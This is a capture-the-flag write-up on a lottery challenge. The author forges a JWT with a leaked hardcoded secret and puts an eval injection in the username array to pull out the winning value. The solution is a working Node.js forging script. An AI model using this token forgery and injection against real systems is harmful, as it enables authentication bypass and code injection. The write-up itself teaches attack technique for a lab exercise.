Challenge
A lottery app that hands out a signed JWT. Guessing the winning value outright is hopeless, somewhere around 2^888.
Approach
The signing secret is hardcoded and exposed, so the token is no longer a trust boundary. I can decode it, change it, and re-sign it so the server still accepts it.
The server builds a winner value and later reaches eval on data I control. The username field is an array, so I can append a payload that evaluates winner and pulls it back out.
Solution
Forge a token whose username array ends with the injection, then sign it with the leaked secret:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| const cry = require('crypto');
const jwt = require('jsonwebtoken');
const secret = "0ca04547f860592dbb2be76b4da2c73e6cc072e6d874bd127801763be8ea74c1c02a5d6d5d79d0989eaf8f67ff2c7512c4524c20b2e126e53afe68ea9c13884b";
const inject = "' eval(winner)''"
data = {
username: [
cry.randomBytes(111).toString('hex'),
cry.randomBytes(111).toString('hex'),
cry.randomBytes(111).toString('hex'),
cry.randomBytes(111).toString('hex'),
cry.randomBytes(111).toString('hex'),
inject
]
};
const token = jwt.sign(data, secret);
// Extract the payload from the token
const payload = JSON.parse(atob(token.split('.')[1]));
console.log(payload);
console.log(token)
|
Send the forged token back to the server.